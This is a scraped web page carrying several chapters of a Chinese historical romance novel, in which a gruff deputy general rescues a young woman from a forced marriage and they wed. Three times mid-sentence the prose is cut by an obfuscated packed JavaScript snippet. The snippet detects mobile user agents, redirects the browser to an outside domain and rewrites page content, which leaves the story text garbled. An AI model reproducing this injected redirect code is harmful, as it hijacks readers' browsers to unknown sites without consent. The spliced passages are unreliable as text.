苏婉察觉到了他的变化,心里窃喜,更是变着法儿地在他面前“刷好感”。 有时是“恰好”做了些家乡点心,分量多得“吃不完”,请守营兵士们尝尝,自然少不了王猛那份。 有时是“请教”一些军中趣事,睁着大眼睛听得津津有味,让王猛不自觉间就说多了话。 全军上下都乐见其成,甚至开始私下打赌,王猛这块顽石什么时候会被苏姑娘捂热。 然而,就在王猛的心防逐渐松动时,一伙云山亭残匪`狗急跳墙,深夜突袭,意图烧毁粮草制造混乱。 当时苏婉因为整理药材晚了,正好在库房清点物品。 王猛正在附近巡夜,听到喊杀声和火光,第一时间带人冲了过去。 他瞥见一个匪徒举刀砍向一个惊慌奔跑的身影,正是苏婉。 “小心!”王猛目眦欲裂,想也不想,扑过去用后背硬生生扛了一刀,同时手中横刀一挥,将那匪徒劈翻在地。 “王大哥!”苏婉看到他背上涌出的鲜血,脸都吓白了。 “躲好!”王猛将她往安全角落一推,转身又杀了进去,将那些匪徒尽数杀了。 战斗很快平息,匪徒或死或擒。 王猛背上的刀伤不轻,鲜血染红了半身衣甲。 军医赶来给他包扎。 苏婉冲过来,眼泪像断了线的珠子,手忙脚乱地想帮忙,却又怕弄疼他。 “你…你傻啊!扑过来干什么!那么多兵…”她声音哽咽。 王猛疼得龇牙咧嘴,看着她哭花的小脸,闷声道:“废话!老子能看着你挨刀?” 苏婉哭得更凶了:“呜呜…你的背…流了好多血…” 王猛看着她的担心和眼泪,之前的怀疑和困惑,在这一刻似乎突然有了答案。 这丫头…好像…是真的在乎他? 不是图他的身份,不是找安身之所,就是单纯地在乎他这个人。 他忍着痛,伸出没受伤的手,有些笨拙地抹了把她脸上的泪。 “哭啥…又死不了…老子皮厚…” 苏婉抓住他的手,哭得说不出话。 周围士兵们互相使着眼色,偷笑着散去,将空间留给了这对“冤家”。 王猛看着眼前这个为自己哭得稀里哗啦的丫头,再想想自己之前的种种揣测…… 也许…国公爷说得对。 有些心意简单直接,根本不需要那么多复杂的理由。 他这条命,在战场上滚了无数次都没丢,或许就是为了等着这么一个莽撞又执着的小丫头来收的吧? 只是这往后的日子… 王猛看着苏婉一边哭一边小心翼翼地给他吹伤口,忽然觉得,背上这刀挨得…好像…还挺值? 第二百三十三章 她离开了 王猛背上的刀伤好得很快。 这几天,军营里上下下,几乎人人都用带笑的眼神瞅他,挤眉弄眼地问一句:“王副将,苏姑娘今日给您送什么好吃的了?” 苏婉几乎日日都围着他转。 她不再像最初那样直白地喊着“以身相许”,却将她的心意化在了点点滴滴里。 一碗熬得恰到好处的祛湿汤,一双鞋底纳得柔软的布鞋,或者只是在他巡营归来疲惫时,恰到好处地递上一杯温热的茶水。 王猛嘴上依旧硬邦邦的,常呵斥她:“军营重地,别老瞎晃悠!”“老子有手有脚,用不着你伺候!” 但那双递过来茶的手,他再没推开过。 那放在他营帐门口的鞋子,他沉默地穿上了。 甚至有一次,他吃着苏婉偷偷塞给他的、据说是“做多了”的桂花糕,被杜仁绍撞见,呛得满脸通红,却也没舍得扔掉。 他心里那点异样的感觉,像春日的野草,疯狂蔓延。 他开始习惯身边有这么一个鲜活的身影,习惯她带着笑意的声音,甚至偶尔没见到她,目光会不自觉地搜寻。 眼看着两人刚有点儿起色,意外发生了。 这日,王猛带队去城外一处残余匪患的清剿,比预计提前半日回了大营。 马蹄踏过辕门,他下意识地就朝药帐那边望了一眼,却没看到那个熟悉的身影。 他心下微微一顿,却也没多想,只道她或许在帮忙整理药材,或者去伤兵营了。 交了军务,他回到自己营帐,打算换下沾了尘土血迹的军服。 帐内静悄悄的,平日若是这时,苏婉多半会“碰巧”路过,或者早已备好了清水。 今日却异常安静。 王猛皱了皱眉,自己打了水,胡乱擦了把脸。 直到傍晚时分,他仍没见到苏婉,连用晚饭时,那个总会“恰好”坐在离他不远位置上的丫头也没出现。 一种莫名的不安,悄然爬上心头。 他状似无意地踱步到药帐附近,正碰到李梵娘从里面出来,神色带着忧虑。 “夫人。”王猛抱拳行礼,眼神却忍不住往药帐里瞟。 李梵娘停下脚步,看着他,轻轻叹了口气:“在找婉丫头?” 王猛心头一跳,粗声问:“那丫头……又跑哪儿野去了?一天没见人影,没给您添乱吧?” 李梵娘沉默了一下,声音低了些:“她……走了。” “走了?”王猛一愣,一时没反应过来,“去哪了?回湖州老家了?她家不是没人了吗?” 他想着,这丫头想通了,不再缠着他了? 可这念头刚起,心里竟先泛起一股空落落的感觉。 李梵娘看着他脸上细微的变化,摇了摇头,语气带着无奈和怜悯:“不是她自己想走的。” “今日晌午,她湖州那个继母,带了几个人,强行来把她带回去了。” “什么?!”王猛瞳孔一缩,声音猛地拔高,“强行带走?守营的弟兄是干什么吃的!怎么就让人把一个大活人从军营里带走了?” 他额角青筋绷起,一股怒气直冲头顶。 那老妖婆,竟敢找到这里来撒野! 李梵娘示意他稍安勿躁:“那妇人手持户籍文书,口口声声是家事,说苏婉未嫁之女,理应由她这个继母管教。” “又哭又闹,守营士兵不好对百姓动粗,婉丫头……那孩子看着倔,其实心里还是怕那继母的,最后……还是被拉走了。” 王猛拳头捏得咯咯作响,胸口剧烈起伏。 他几乎能想象出那个场面:苏婉如何挣扎反抗,那恶毒妇人如何嚣张跋扈,而他的兵士却因军纪约束,只能眼睁睁看着。 “她走时……说什么了?”王猛的声音有些沙哑。 李梵娘目光复杂地看了他一眼:“她一直回头望着军营的方向,眼睛红得厉害,却没哭出声。只对我喊了一句,‘夫人,替我告诉王大哥,别忘了答应我的事’。” 答应她的事? 王猛愣住,他答应她什么了? 他从未给过任何承诺! 这傻丫头…… 接下来的两天,王猛整个人都处在一种烦躁的状态里。 训练场上,他操练得比谁都狠,却频频出错,一次对练甚至差点伤到手下弟兄。 他自己更是心浮气躁,一套熟悉的刀法舞得漏洞百出。 “副将,您今儿个咋了?心神不宁的?”有亲兵大着胆子问。 “放屁!老子好得很!”王猛一瞪眼,吼得对方缩脖子,他自己却泄气地把刀插在地上,望着湖州方向发呆。 脑子里总是不受控制地浮现出苏婉的样子:她笑着递给他点心,她认真辨认药材,她被他吼了时黯淡又马上亮起的眼睛,还有…… 最后被拉走时,那通红却忍着泪的眼。 一想到她此刻可能被那恶毒继母关着、打着、骂着,王猛就感觉心口像被石头堵着,闷得发慌,一股无名火无处发泄。 夜里,他翻来覆去睡不着,索性爬起来去找杜仁绍喝酒。 几碗烈酒下肚,杜仁绍看着对面魂不守舍的下属,慢悠悠道:“怎么,军营里清净了,反倒不习惯了?” 王猛像是被踩了尾巴,立刻梗着脖子反驳:“谁不习惯了!清净好!老子巴不得清净!那丫头片子吵吵嚷嚷的,烦人得很!” 杜仁绍挑眉,也不戳穿他,只淡淡道:“是吗?我倒是听梵娘说,那姑娘被带走时,哭得挺可怜。” “她那继母可不是什么良善人,听说急着把她嫁出去换笔大彩礼呢。” “嫁人?”王猛猛地抬头,眼睛瞪得溜圆,“她才多大?嫁什么人?嫁谁?” “这就不清楚了,总归不会是甚么好人家,否则何必强行来抓人。”杜仁绍抿了口酒,意味深长地看着他,“怎么,你不是觉得清净好吗?她嫁了人,不就彻底清净了?” 王猛被噎得说不出话,脸色变了几变,猛地灌了一大口酒。 他憋了半天,才嘟囔出一句:“……那也不能……随便找个人就嫁了吧……她那么傻……被人卖了都不知道……” 尤其想到她可能会嫁给一个不知什么样的男人,受委屈,被欺负…… 王猛就觉得心里那股邪火蹭蹭往上冒,恨不得立刻提刀杀到湖州去。 杜仁绍看着他这副口是心非、坐立难安的样子,摇了摇头,不再多说。 有些坎,得他自己迈过去。 他知道王猛是因为他随时可能死在战场上,而不去和那丫头表明心意。 但……人啊…… 永远都不要错过眼前人…… 第二百三十四章 抢亲 又煎熬了两日,王猛几乎夜不能寐,白日里更是像困兽似的,看什么都不顺眼。 他派去湖州打探消息的人终于回来了,带回来的消息却让王猛瞬间炸了毛。 “副将!打听到了!”来人气喘吁吁,“苏姑娘那继母,真不是东西,她收了城南开绸缎庄的刘老爷五百两银子的聘礼,要把苏姑娘嫁过去做第八房填房!” “刘老爷?”王猛眉头拧成死结,“哪个刘老爷?” “就是那个快六十、胖得走不动道、听说前头几个老婆都没熬过三年的老色鬼!”这人呸了一口,“迎亲的日子就定在后天!” “嘭!” 王猛猛地一拳砸在案上,案几被砸得裂开一条缝。他双目赤红,胸膛剧烈起伏,额头上青筋暴跳。 六十老翁? 第八房填房? 五百两银子? 那老肥猪!那毒妇!他们怎么敢?他们把苏婉当什么了?一件可以随意买卖的货物吗? 苏婉那双含泪又倔强的眼睛再次浮现在他眼前。 那丫头虽然莽撞大胆,却单纯得像张白纸,心里干净得很。 她应该配一个……配一个…… 王猛脑子里乱糟糟的。 他豁然起身,大步流星地冲向中军大帐。 杜仁绍正在与赵无咎商议后续事宜,就见王猛一阵风似的冲了进来,双目赤红,浑身煞气腾腾。 “老大!”王猛抱拳,声音因压抑着怒气而嘶哑颤抖,“末将请命!” 杜仁绍抬眸,平静地看着他:“请何命?” “让末将带一队人马,去湖州!”王猛牙齿咬得咯咯响,“宰了那老肥猪!掀了那毒妇的窝!把……把苏婉带回来!” 帐内一时寂静。赵无咎眼观鼻鼻观心,默不作声。 杜仁绍放下手中的笔,身体微微后靠,打量着他:“以何名义?朝廷命官,无旨擅杀地方士绅,强抢民女?王猛,你是想造反吗?” 王猛被问得一噎,脸憋得通红,却仍梗着脖子:“那就……那就以剿匪的名义!那老东西为富不仁,那毒妇勾结匪类!对!就是这样!” “证据呢?”杜仁绍声音依旧平淡,“皇城司都未曾掌握的证据,你王副将就拿到了?仅凭你一面之词,就要调动兵马,私自动刑?” 王猛说不出话了,他知道自己理亏,可一想到苏婉的处境,他就什么都顾不得了。 他噗通一声单膝跪地,声音近乎绝望:“国公爷!末将求您!” “那丫头……她不能就这么毁了!您给我一道手令,一切后果,末将自己承担!绝不敢牵连大营!” 杜仁绍看着他这副样子,叹了口气,语气缓了些:“为一个女子,值得吗?违抗军纪,触犯国法,甚至可能丢官去职,前程尽毁。” 王猛抬起头,眼里是前所未有的坚定:“值得!国公爷,末将是个粗人,不懂什么大道理!” “但我知道,不能眼睁睁看着她跳进火坑!她叫过我一声王大哥,我救过她一次,就不能看着她再被人推进去!” 他顿了顿,声音沉下去,带着自己都未察觉的涩然:“要是……要是真有什么后果,我老王认了!但人, 我必须带回来!” 杜仁绍与赵无咎对视一眼,赵无咎点了点头。 “起来吧。”杜仁绍终于开口,语气里带着笑意,“瞧你那点出息!” 王猛一愣,茫然起身。 杜仁绍从案下取出一枚令牌扔给他:“带你的亲兵队,换常服,速去速回。” “手脚干净点,别留下把柄,要是让人知道副将光天化日跑去抢亲,老子丢不起那个人!” 王猛接过令牌,一时没反应过来,呆住了。 杜仁绍笑骂一句:“还愣着干什么?滚啊!难道真等花轿抬进门?” 王猛这才如梦初醒,“是!末将遵命!谢国公爷!” 他转身就往外冲,脚步快得带风。 杜仁绍在他身后补充道:“记着!人是你的,案子是皇城司的!赵无咎会派人后续处理首尾,把那老东西和毒妇的罪证坐实!” “明白!”王猛的声音从帐外传来,人早就已经跑远。 杜仁绍摇摇头,对赵无咎笑道:“这头倔驴,总算开窍了。” 赵无咎也笑了笑:“王副将性情中人。属下这就去安排人手跟进。” 湖州城南,通往刘府的路上,一支不算太排场的迎亲队伍正吹吹打打地走着。 大红喜轿随着轿夫的步子晃动。 路两旁围观的百姓指指点点,议论纷纷,脸上大多带着惋惜和不屑。 “唉,真是造孽啊,苏家那丫头,多水灵的人儿,怎么就摊上这么个黑心后娘?” “听说才十六吧?就要给刘老爷那个老棺材瓤子做填房,真是鲜花插在牛粪上!” “五百两银子呢!那毒妇眼里只有钱,哪管丫头死活!” “可怜哦……” 轿子里,苏婉穿着一身红嫁衣,盖头下的脸毫无喜色,只有一片绝望和未干的泪痕。 她的手被绳子紧紧缚着,勒出了红痕。 继母怕她闹,一早便将她捆了塞进轿子。 她想过逃,可一个弱女子,如何挣脱? 她想过死,可……心底深处还残留着一丝希冀。 那个莽撞又心软的汉子,会不会……会不会…… 但这个念头太过渺茫,她自己都觉得可笑。 他躲她还来不及,怎么会来? 他可是堂堂副将,怎么会为了她这样一个无依无靠的孤女,插手这种“麻烦事”? 眼泪无声地滑落,浸湿了鲜红的盖头。 或许,这就是她的命吧。 迎亲队伍走到一处相对僻静的街口,正要转弯。 突然! “咻!咻咻!” 数支弩箭射在迎亲队伍前方的地上。 吹打声戛然而止。 队伍瞬间大乱,抬轿的、吹唢呐的、撒喜钱的仆役们吓得惊叫四散! “什么人?” “敢拦刘老爷的花轿!活腻了吗!”为首的管家壮着胆子喊道,声音有些发颤。 回应他的,是街道两侧屋顶和巷口骤然出现的十余名黑衣汉子。 他们蒙着面,眼神冷厉,手持钢刀,瞬间将迎亲队伍围在了中间。 紧接着,街口传来沉重的马蹄声。 马背上是一名同样蒙面的汉子,手持横刀,死死盯住了红花轿。 他周身散发出的戾气,吓得那些家丁仆役腿肚子发软,连连后退。 第二百三十五章 回来了 王猛勒住马,目光扫过队伍,最终落在那个吓得面无人色、瘫在地的管家身上,“花轿留下,滚!” 那管家哆嗦着:“好、好汉饶命!这、这是刘老爷家的……” 话未说完,王猛手中横刀一挥,那管家的帽子直接被削飞,头发散落下来。 管家“嗷”一嗓子,差点尿裤子,再不敢多言,连滚爬爬地就想跑。 其他迎亲的人见状,更是魂飞魄散,只恨爹娘少生了两条腿,顷刻间跑得干干净净,只留下那顶孤零零的花轿和几个吓傻了的轿夫。 轿夫们也想跑,却被那些亲兵用刀逼住,动弹不得,瑟瑟发抖。 王猛翻身下马,大步走向花轿。 他的心疯狂跳动,走过去一把掀开轿帘。 轿内,苏婉被外面的变故惊得止住了哭泣,正瑟缩着。 盖头遮挡了视线,她只听到一个脚步声逼近,然后轿帘被猛地掀开。 光线涌入,她下意识地抬头,透过盖头的缝隙,看到一个高大挺拔、蒙着面的身影逆光站在轿前。 虽然看不清面容,但那身影,那眼神…… 她心脏猛地一缩,一个不可思议的念头涌上心头。 王猛看着她一身红妆,手腕被缚,心头的火气大了更炽。 他伸出手,动作却不由自主地放轻,轻轻掀开了她的红盖头。 盖头下,是苏婉满是泪痕的小脸,眼睛睁得大大的,满是震惊。 她仰头看着他,嘴唇微微颤抖,一个字也说不出来。 四目相对,空气仿佛都凝固了。 王猛看着她这副样子,“愣着干什么?等着那老肥猪来洞房吗?” 说着,他弯腰探进轿子,拔出腰间的**割断她手腕上的绳索。 手指不可避免地碰到她的皮肤,两人都是微微一颤。 绳索断开,王猛一把将她从轿子里捞了出来,打横抱在怀里。 她很轻,还在发抖。 苏婉下意识地搂住他的脖子,整个人还是懵的,眼睛一眨不眨地看着他近在咫尺的眼睛。 真的是他……他来了……他真的来了…… 王猛抱着她,转身走向自己的马。 就在这时,那个刘老爷得知消息,竟带着一群手持棍棒的家丁,气喘吁吁地赶了过来,远远便尖声叫骂:“哪来的狂徒!光天化日敢抢我刘某人的妾室!给我上!打死勿论!” 王猛脚下一顿,将苏婉放到马鞍上坐稳,“坐好,闭眼。” 苏婉乖乖点头,紧紧闭上了眼睛。 王猛转身,面对那群冲过来的乌合之众,眼中寒光一闪。 他没用横刀,直接迎了上去,拳脚并用。 “砰!啪!哎哟!” 惨叫声此起彼伏。 那些平日里欺男霸女的家丁,在王猛面前根本不值得一看。 不过眨眼功夫,就被他揍得人仰马翻,哭爹喊娘。 那刘老爷见势不妙,转身想跑。 王猛一个箭步追上,看着他那身肥肉和猥琐的样子,想到他竟然妄想染指苏婉,心里的火气就压不住。 他猛地一脚踹出,正中那肥猪的屁股。 “嗷——” 刘老爷惨叫一声,像个肉球一样滚了出去,撞在墙角,哼唧着爬不起来了。 王猛嫌恶地拍拍手,仿佛沾了什么脏东西。 他翻身上马,坐在苏婉身后,将她紧紧护在怀里。 “抱紧了!”他一拉缰绳。 那群黑衣亲兵也迅速收起刀剑,只留下一地狼藉和哀嚎的众人。 苏婉靠在王猛温暖的胸膛上,能清晰地听到他的心跳声。 恐惧渐渐褪去,取而代之的是狂喜和安心。 她悄悄睁开眼,声音带着哭腔和些许笑意,“王……王大哥……真的是你吗?” 王猛身体一僵,低头瞥了她一眼,闷声道:“不然呢?除了老子,谁还会干这种掉脑袋的蠢事!” 苏婉想笑,眼泪却又流了出来,她把脸埋进他怀里,声音闷闷的,“我就知道……你会来的……” 王猛哼了一声没接话,耳根却悄悄红了。 他收紧手臂,将她搂得更稳,骑马向城外奔去。 一路快马加鞭,直至远离湖州城,确认无人追来,王猛才稍稍放缓了速度。 怀里的苏婉安静得出奇,只是偶尔动一下。 王猛能感觉到她体的柔软,还有属于少女的馨香,这让他浑身不自在,握着缰绳的手都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他梗着脖子,声音硬邦邦的:“末将职责所在!人已带回,末将……末将告退!” 说完,同手同脚地转身就跑。 第二百三十六章 抱得美人归 苏婉却抱得更紧了,非但没松手,反而踮起脚在王猛脸上亲了一口。 王猛整个人僵住了。 “你、你、你……”他指着苏婉的手都在发抖。 “你……你这丫头!你……不知羞!放肆!大胆!我……我……” 他“我”了半天,也没“我”出个所以然来,脑子里一片空白,只剩下脸上那柔软的触感。 苏婉看着他这副快要自燃的模样,心里乐开了花,脸上却努力装出委屈的样子:“我就亲了!怎么了!” “王猛,你今天必须给我个准话!你到底喜不喜欢我?要不要我?” 她豁出去了,眼睛直直盯着王猛:“你要是说不喜欢,嫌我烦,我……我立刻就走,再也不来缠着你了!” “你要是……要是有点喜欢我,就别再躲着我了!一个大男人,磨磨唧唧的,急**了!” 王猛被她这一连串的话砸得晕头转向。 什么年龄差距,什么战场无情,什么前程未卜…… 所有的顾虑在爱意面前,都显得那么苍白无力。 他深吸一口气,目光落在苏婉脸上。 “我…我怎么会不喜欢你…” 他顿了顿,像是下定了决心,声音高了不少,几乎是吼出来的,“老子喜欢你快喜欢疯了!” “从你追着我跑开始就喜欢!看到你笑就高兴,看不到你就心里空落落的!怕自己年纪大配不上你!怕哪天死在战场上耽误你!所以才像个孬种一样躲着你!” 这一通吼,不仅苏婉愣住了,连周围偷偷围观的士兵们都惊呆了,随即爆发出叫好声。 苏婉的眼泪涌了出来,她跳起来扑进他怀里,“你不许死!你要好好活着!我就赖定你了!谁让你救了我!你救了我,我就是你的!” 王猛被她撞得后退半步,下意识地伸手回抱住她。 怀里的人儿,让他漂泊半生的心,忽然就有了方向。 他低头看着怀里毛茸茸的脑袋,咧开一个傻乎乎的笑,越咧越大,露出两排白牙。 “好…好…”他笨拙地拍着苏婉的背,只会重复这一个字,“我的…是我的…” 就在这时,几个带笑的声音插了进来。 “哟!这是谁啊?光天化日之下,搂搂抱抱,成何体统?”杜仁绍的声音里满是戏谑。 “啧啧啧,王副将,你这脸笑得跟朵菊花似的,啥喜事啊?说出来让弟兄们都沾沾喜气?”赵无咎也难得地开起了玩笑。 李梵娘站在杜仁绍身边,抿嘴笑着,看着紧紧相拥的两人。 王猛和苏婉两人赶紧分开。 王猛表情尴尬,手脚都不知道该往哪里放。 苏婉也羞得把脸埋了下去,只露出通红的耳尖。 “国、国公爷…夫人…”王猛磕磕巴巴地行礼。 杜仁绍走上前,拍了拍王猛的肩膀,力道大得让他龇牙咧嘴:“行啊猛子!不声不响的,就把终身大事定了?动作够快的!” 赵无咎也笑道:“恭喜王副将,贺喜王副将!这顿喜酒,看来是跑不了了!” 李梵娘拉过苏婉的手,“婉丫头,以后可有人管着你了。” 苏婉红着脸回握住李梵娘的手,又偷偷瞟了一眼旁边傻乐的王猛,小声道:“夫人,我…我愿意让他管…” 周围顿时又响起一片哄笑和叫好声。 王猛站在那儿,看着身边巧笑嫣然的苏婉,听着弟兄们的祝福和打趣,只觉得这辈子都没这么开心、这么踏实过。 那傻乎乎的笑就一直没从脸上下来过。 杜仁绍看着小丫头,“以后这小子要是敢欺负你,让你受半点委屈,你只管来告诉我和你梵娘姐姐!我们给你做主!他要是敢犯浑,我第一个军法处置他!” 李梵娘嗔怪地瞪了杜仁绍一眼:“瞧你说的,好像猛子以后真会欺负人似的。” 她转向苏婉,“别听他吓唬人。不过婉丫头,你记住了,从今往后,我就是你娘家人。他若真敢对你不好,我可不依。” 苏婉眼圈又红了,她用力点头:“嗯!谢谢国公爷!谢谢夫人!” 王猛赶紧表态,恨不得指天发誓:“国公爷!夫人!你们放心!我王猛对天起誓!这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512724|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子一定对婉儿好!绝不让她受委屈!否则天打雷劈!” “呸呸呸!胡说什么!”苏婉赶紧伸手去捂他的嘴,脸上却笑成了一朵花。 杜仁绍和李梵娘相视一笑。 “行了行了,知道你小子有心就行了。”杜仁绍摆摆手,眼神扫过周围一圈看热闹看得津津有味的将士们。 “都看什么看?没见过讨媳妇儿的?该干嘛干嘛去!散了散了!” 赵无咎也忍着笑,招呼着众人:“走了走了,都给王副将留点面子,让人家小两口说说话。” 众人这才三三两两地散去,给这对刚刚捅破窗户纸的有情人留出空间。 很快就只剩下王猛和苏婉两人。 夕阳的余晖将两人的身影拉得很长,交织在一起。 王猛看着身边低着头的苏婉,刚才的豪言壮语这会儿全忘了,只剩下紧张。 “那…那个…婉儿…”他舌头又开始打结,“刚才…我…” 苏婉抬起头,眼睛亮晶晶地看着他,“王大哥,你刚才说的,都是真的吗?不是骗我的吧?” “当然是真的!”王猛急得差点又发誓,“我王猛一口唾沫一个钉!说喜欢你就是喜欢你!想…想要你…”后面几个字声音小了下去,脸又红了。 苏婉心里甜得像蜜罐打翻了,她晃了晃他的胳膊:“我知道啦。那你以后…可不许再躲着我了。” “不躲了!再也不躲了!”王猛连忙保证,伸手碰了碰她的脸,“以后…以后你就跟着我,我会护着你,谁也不能再欺负你。” “嗯!”苏婉重重点头,主动将脸在他掌心蹭了蹭。 江南的局势,在杜仁绍的雷厉风行和后续抵达的援军的配合下,终于逐渐稳定下来。 几个跳得最欢的爪牙被连根拔起,公开审理,安定了民心。 连绵阴雨过后,天空终于放晴。 军营里的气氛多了几分平和。 杜仁绍和李梵娘难得偷得半日清闲。 案几上铺着江南各州府的详图,旁边还堆着一些医书和各地医馆药铺的记录册子。 第二百三十七章 信息网 杜仁绍肩背的伤好得七七八八,已能自如活动。 他换了一身常服坐在案后,手指无意识地敲着桌面,目光却落在对面正凝神翻阅册子的李梵娘身上。 阳光透过帐帘的缝隙,在她的侧脸上投下光影,宁静而美好。 杜仁绍看着看着,眼神便柔和了下来,起身走到她身边坐下,伸手揽住她的腰,将人往自己怀里带了带。 “看什么呢?这么入神?”他下巴轻蹭着她的发顶。 李梵娘顺势靠在他怀里,将手中记录着各地药材流通的册子指给他看:“在看江南药行的往来记录。” “我在想,‘云山亭’此次能如此迅速地在多地同时发动,利用药材**、散播疫病,正是钻了药材流通难以监控的空子。” 杜仁绍接过册子翻看了几页,眉头微蹙:“确实,药材不比盐铁,朝廷管控相对宽松,极易被利用。” “此次若非你及时发现水源问题,后果不堪设想。” 李梵娘坐直了些,“所以,我在想,能否借助这次机会,建立一个属于自己的信息网。” “哦?细细说来。”杜仁绍来了兴趣。 “你看,”李梵娘取过纸笔,一边画着一边解释,“我们可以以教**局为枢纽,联合各地信誉良好的大药堂、知名医馆,甚至民间游医。” “名义上,是交流医术、征集民间药方,实则可以暗中建立起一套信息网。” “比如,对某些敏感药材、剧**物的采购流向、大量异常病患的出现、某些特定症状的集中爆发……” “这些信息若能及时汇总分析,很可能在祸患一开始就察觉端倪。” 杜仁绍眼神越来越亮,他接着她的话往下说:“如此一来,皇城司和各地驻军的精力就可以从大海捞针式的排查,转向更有针对性的打击!” “没错!”李梵娘点头,“深入市井乡野,消息来源更广更基层,往往能发现蛛丝马迹。两者若能相辅相成,效果肯定是极好的。” 杜仁绍忍不住在她脸上亲了一口,赞道:“妙!此计大妙!梵娘,你真是我的贤内助!” 李梵娘脸一红,嗔了他一眼:“少拍马屁。这只是现在有这么个想法,具体实施起来还有很多地方要思考的。” “比如如何确保参与者的可靠性,信息传递的保密与效率,如何与各地官府、驻军协调……” “不慌!”杜仁绍大手一挥,信心满满,“大致思路已经有了,细节可以慢慢完善。这个事情利国利民,陛下肯定支持。” “待回京后,我立刻上书说明情况,请求陛下允准,由你主导,联合太医署、教**局及兵部、皇城司共同推进这个想法!” 他越说越兴奋:“到时候,我可以让赵无咎抽调一批暗探,以药师、学徒的身份进入这个信息网,负责关键信息的甄别和传递,各地驻军也可指定专人对接……” 两人就着这个构想,低声讨论起来,一会儿画草图,一会儿翻资料。 不知过了多久,初步的框架渐渐清晰。 杜仁绍放下笔,长长舒了一口气,眼中满是钦佩和骄傲地看着李梵娘:“得妻如此,夫复何求。梵娘,你总是能给我惊喜。” 李梵娘笑了笑,靠回他肩上:“也只是尽我所能罢了,但愿此法能助朝廷早日肃清奸佞,让百姓少受些苦楚。” “一定会的。”杜仁绍握紧她的手,语气坚定。 帐外忽然传来王猛的脚步声和一声咳嗽,“国公爷,夫人,末将求见。” 杜仁绍和李梵娘相视一笑,知道这憨货怕是来“报喜”或者求助的。 “进来吧。” 王猛掀帘进来,脸上还带着红晕和藏不住的喜气。 他搓着手,吭哧了半天才道:“国公爷,夫人……那个……婉儿她……俺……俺们……” 杜仁绍挑眉:“怎么了?婉丫头欺负你了?” “没有没有!”王猛赶紧摆手,“她好着呢!就是……就是她说……既然定了名分,就不能老没名没分地待在夫人药帐里干活,于礼不合……也想……也想正经过日子……” 他说着,脸涨得更红了,“俺……俺是个粗人,不懂这些规矩……也不知道该怎么安排……想来请教请教夫人……” 李梵娘闻言笑了:“这是正理,婉丫头想得周到。你放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512725|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这事交给我来安排。断不会委屈了她。” 她想了想,接着说,“军营毕竟不是安家的地方。你们既两情相悦,便正正经经地三媒六聘,风风光光地办一场婚事。” “我曾在苏州城内有一处小院,还算清静雅致,先拨给你们暂住,当做新房。你看如何?” 王猛一听,又惊又喜,“这……这怎么使得!夫人的宅子……” “使得。”李梵娘笑道,“婉丫头既叫我一声姐姐,我便算是她娘家人,给她备处嫁妆也是应当的,你只需好好待她便是。” 王猛激动得不知说什么好,扑通一声单膝跪地:“多谢夫人!国公爷!末将……末将一定不负所托!好好待婉儿!” 杜仁绍笑着虚扶他一把:“行了,起来吧,以后就是成了家的人了,稳重点,婚事让你夫人帮你操持,需要什么尽管开口。” “是!是!”王猛连连应声,高兴得像个毛头小子,咧着嘴傻笑了半天,才晕乎乎地退了出去。 看着王猛离去时那同手同脚的背影,杜仁绍和李梵娘相视而笑。 “看来,咱们很快就能喝上喜酒了。”杜仁绍揽住李梵娘的肩。 “是啊。”李梵娘含笑点头,“有情人终成眷属,总是值得高兴的。” 杜仁绍望着帐外王猛消失的方向,忽然低笑一声,摇了摇头:“真没想到,王猛这头倔驴,也有被收拾得服服帖帖的一天。” “以前在战场上,面对千军万马眉头都不皱一下,如今倒被个小丫头弄得手足无措。” 李梵娘靠在他肩头,唇角弯起:“铁汉柔情,最是难得。我看婉丫头性子爽利,心思却纯善,正好能管住他那个莽撞性子,往后有人知冷知热,互相扶持,是好事。” “嗯。”杜仁绍点头,“跟着我出生入死的兄弟,能有个好归宿,我也就放心了。” 他顿了顿,“江南这边,大局已定,后续清查有赵无咎和各地驻军接手,我们也是时候准备回京了。” 李梵娘轻轻“嗯”了一声,她知道,京中还有更多的事情等待他们。 “待喝了猛子的喜酒,咱们就启程。”杜仁绍握紧她的手。 第二百三十八章 喜结连理 李梵娘在苏州城的那处小院早已被打扫得干干净净,窗棂上贴上了大红的喜字,虽无张灯结彩的奢华,却也处处透着温馨喜庆。 婚礼的日子就定在了一个吉日。 一大早,小院内就忙碌起来。 李梵娘亲自为苏婉梳妆。 铜镜前,苏婉褪去了往日朴素的衣衫,换上了一身虽不繁复却用料讲究的绯色嫁衣。 乌黑的长发被李梵娘灵巧的手挽成优雅的发髻,簪上赤金镶嵌珍珠的发簪,简约大气。 “夫人……”苏婉看着镜中自己明艳动人的模样,眼眶微微发热,声音有些哽咽。 她从未想过,自己颠沛流离、险些坠入火坑的人生,竟会有如此峰回路转的一天。 李梵娘站在她身后,双手搭在她肩上,看着镜中那张布满红霞又眼含泪光的脸,温柔地笑了,“傻丫头,今天是大喜的日子,可不能掉金豆子。” 